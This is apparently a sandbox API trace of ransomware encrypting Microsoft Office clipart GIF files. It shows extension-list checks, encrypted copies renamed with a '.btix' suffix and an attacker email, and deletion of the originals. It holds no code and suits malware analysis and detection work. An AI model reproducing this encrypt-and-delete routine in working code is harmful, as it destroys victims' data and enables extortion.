[0051.713] lstrlenW (lpString=".jpg") returned 4 [0051.713] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0051.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0051.713] lstrlenW (lpString=".doc") returned 4 [0051.713] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.713] lstrlenW (lpString=".docx") returned 5 [0051.713] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.713] lstrlenW (lpString=".pdf") returned 4 [0051.713] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.713] lstrlenW (lpString=".xls") returned 4 [0051.713] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.713] lstrlenW (lpString=".xlsx") returned 5 [0051.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.713] lstrlenW (lpString=".ppt") returned 4 [0051.713] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0051.713] lstrlenW (lpString=".zip") returned 4 [0051.713] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.713] lstrlenW (lpString=".rar") returned 4 [0051.713] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.714] lstrlenW (lpString=".bz2") returned 4 [0051.714] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.714] lstrlenW (lpString=".7z") returned 3 [0051.714] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0051.714] lstrlenW (lpString=".dbf") returned 4 [0051.714] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0051.714] lstrlenW (lpString=".1cd") returned 4 [0051.714] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0051.714] lstrlenW (lpString=".jpg") returned 4 [0051.714] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.714] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.714] lstrlenW (lpString="AG00171_.GIF") returned 12 [0051.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.714] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=5016) returned 1 [0051.714] CloseHandle (hObject=0x31c) returned 1 [0051.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 0x220 [0051.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.715] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.715] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0051.715] GetLastError () returned 0x0 [0051.715] ReadFile (in: hFile=0x31c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x1398, lpOverlapped=0x0) returned 1 [0051.722] WriteFile (in: hFile=0x344, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x13a0, lpOverlapped=0x0) returned 1 [0051.723] ReadFile (in: hFile=0x31c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0051.723] WriteFile (in: hFile=0x344, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0051.723] SetEndOfFile (hFile=0x344) returned 1 [0051.723] CloseHandle (hObject=0x344) returned 1 [0051.724] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.724] SetEndOfFile (hFile=0x31c) returned 1 [0051.725] CloseHandle (hObject=0x31c) returned 1 [0051.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.725] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0051.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0051.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0051.726] lstrlenW (lpString=".doc") returned 4 [0051.726] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.726] lstrlenW (lpString=".docx") returned 5 [0051.726] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.726] lstrlenW (lpString=".pdf") returned 4 [0051.726] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.726] lstrlenW (lpString=".xls") returned 4 [0051.726] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.726] lstrlenW (lpString=".xlsx") returned 5 [0051.726] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.726] lstrlenW (lpString=".ppt") returned 4 [0051.726] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0051.726] lstrlenW (lpString=".zip") returned 4 [0051.726] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.726] lstrlenW (lpString=".rar") returned 4 [0051.726] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.726] lstrlenW (lpString=".bz2") returned 4 [0051.726] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.726] lstrlenW (lpString=".7z") returned 3 [0051.726] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0051.726] lstrlenW (lpString=".dbf") returned 4 [0051.726] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0051.726] lstrlenW (lpString=".1cd") returned 4 [0051.726] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0051.727] lstrlenW (lpString=".jpg") returned 4 [0051.727] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0051.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0051.727] lstrlenW (lpString=".doc") returned 4 [0051.727] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.727] lstrlenW (lpString=".docx") returned 5 [0051.727] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.727] lstrlenW (lpString=".pdf") returned 4 [0051.727] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.727] lstrlenW (lpString=".xls") returned 4 [0051.727] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.727] lstrlenW (lpString=".xlsx") returned 5 [0051.727] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.727] lstrlenW (lpString=".ppt") returned 4 [0051.727] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0051.727] lstrlenW (lpString=".zip") returned 4 [0051.727] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.727] lstrlenW (lpString=".rar") returned 4 [0051.727] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.727] lstrlenW (lpString=".bz2") returned 4 [0051.727] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.727] lstrlenW (lpString=".7z") returned 3 [0051.727] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0051.727] lstrlenW (lpString=".dbf") returned 4 [0051.727] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0051.728] lstrlenW (lpString=".1cd") returned 4 [0051.728] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0051.728] lstrlenW (lpString=".jpg") returned 4 [0051.728] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.728] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.728] lstrlenW (lpString="AG00172_.GIF") returned 12 [0051.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.728] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=4390) returned 1 [0051.728] CloseHandle (hObject=0x31c) returned 1 [0051.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 0x220 [0051.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0051.729] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.729] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0051.759] GetLastError () returned 0x0 [0051.760] ReadFile (in: hFile=0x31c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x1126, lpOverlapped=0x0) returned 1 [0051.763] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x1130, lpOverlapped=0x0) returned 1 [0051.764] ReadFile (in: hFile=0x31c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0051.764] WriteFile (in: hFile=0x2e0, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0051.764] SetEndOfFile (hFile=0x2e0) returned 1 [0051.779] CloseHandle (hObject=0x2e0) returned 1 [0051.781] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.781] SetEndOfFile (hFile=0x31c) returned 1 [0051.783] CloseHandle (hObject=0x31c) returned 1 [0051.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0051.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0051.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0051.784] lstrlenW (lpString=".doc") returned 4 [0051.784] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.784] lstrlenW (lpString=".docx") returned 5 [0051.784] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.784] lstrlenW (lpString=".pdf") returned 4 [0051.784] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.784] lstrlenW (lpString=".xls") returned 4 [0051.784] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.784] lstrlenW (lpString=".xlsx") returned 5 [0051.784] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.784] lstrlenW (lpString=".ppt") returned 4 [0051.784] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0051.785] lstrlenW (lpString=".zip") returned 4 [0051.785] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.785] lstrlenW (lpString=".rar") returned 4 [0051.785] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.785] lstrlenW (lpString=".bz2") returned 4 [0051.785] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.785] lstrlenW (lpString=".7z") returned 3 [0051.785] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0051.785] lstrlenW (lpString=".dbf") returned 4 [0051.785] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0051.785] lstrlenW (lpString=".1cd") returned 4 [0051.785] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0051.785] lstrlenW (lpString=".jpg") returned 4 [0051.785] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0051.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0051.785] lstrlenW (lpString=".doc") returned 4 [0051.785] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.785] lstrlenW (lpString=".docx") returned 5 [0051.785] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.785] lstrlenW (lpString=".pdf") returned 4 [0051.785] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.785] lstrlenW (lpString=".xls") returned 4 [0051.785] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.785] lstrlenW (lpString=".xlsx") returned 5 [0051.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.785] lstrlenW (lpString=".ppt") returned 4 [0051.785] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0051.785] lstrlenW (lpString=".zip") returned 4 [0051.785] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.786] lstrlenW (lpString=".rar") returned 4 [0051.786] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.786] lstrlenW (lpString=".bz2") returned 4 [0051.786] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.786] lstrlenW (lpString=".7z") returned 3 [0051.786] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0051.786] lstrlenW (lpString=".dbf") returned 4 [0051.786] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0051.786] lstrlenW (lpString=".1cd") returned 4 [0051.786] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0051.786] lstrlenW (lpString=".jpg") returned 4 [0051.786] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.786] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0051.786] lstrlenW (lpString="AG00176_.GIF") returned 12 [0051.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0051.788] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=3120) returned 1 [0051.788] CloseHandle (hObject=0x32c) returned 1 [0051.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 0x220 [0051.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0051.788] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.788] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0051.789] GetLastError () returned 0x0 [0051.789] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0xc30, lpOverlapped=0x0) returned 1 [0051.825] WriteFile (in: hFile=0x344, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xc40, lpOverlapped=0x0) returned 1 [0051.826] ReadFile (in: hFile=0x32c, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0051.826] WriteFile (in: hFile=0x344, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0xec, lpOverlapped=0x0) returned 1 [0051.826] SetEndOfFile (hFile=0x344) returned 1 [0051.826] CloseHandle (hObject=0x344) returned 1 [0051.827] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0051.827] SetEndOfFile (hFile=0x32c) returned 1 [0051.827] CloseHandle (hObject=0x32c) returned 1 [0051.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0051.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0051.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0051.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0051.828] lstrlenW (lpString=".doc") returned 4 [0051.828] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.828] lstrlenW (lpString=".docx") returned 5 [0051.828] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0051.828] lstrlenW (lpString=".pdf") returned 4 [0051.828] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.828] lstrlenW (lpString=".xls") returned 4 [0051.828] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.828] lstrlenW (lpString=".xlsx") returned 5 [0051.828] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0051.828] lstrlenW (lpString=".ppt") returned 4 [0051.828] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0051.828] lstrlenW (lpString=".zip") returned 4 [0051.828] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.828] lstrlenW (lpString=".rar") returned 4 [0051.828] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.828] lstrlenW (lpString=".bz2") returned 4 [0051.828] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.828] lstrlenW (lpString=".7z") returned 3 [0051.829] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0051.829] lstrlenW (lpString=".dbf") returned 4 [0051.829] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0051.829] lstrlenW (lpString=".1cd") returned 4 [0051.829] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0051.829] lstrlenW (lpString=".jpg") returned 4 [0051.829] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0051.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0051.829] lstrlenW (lpString=".doc") returned 4 [0051.829] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.829] lstrlenW (lpString=".docx") returned 5 [0051.829] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") 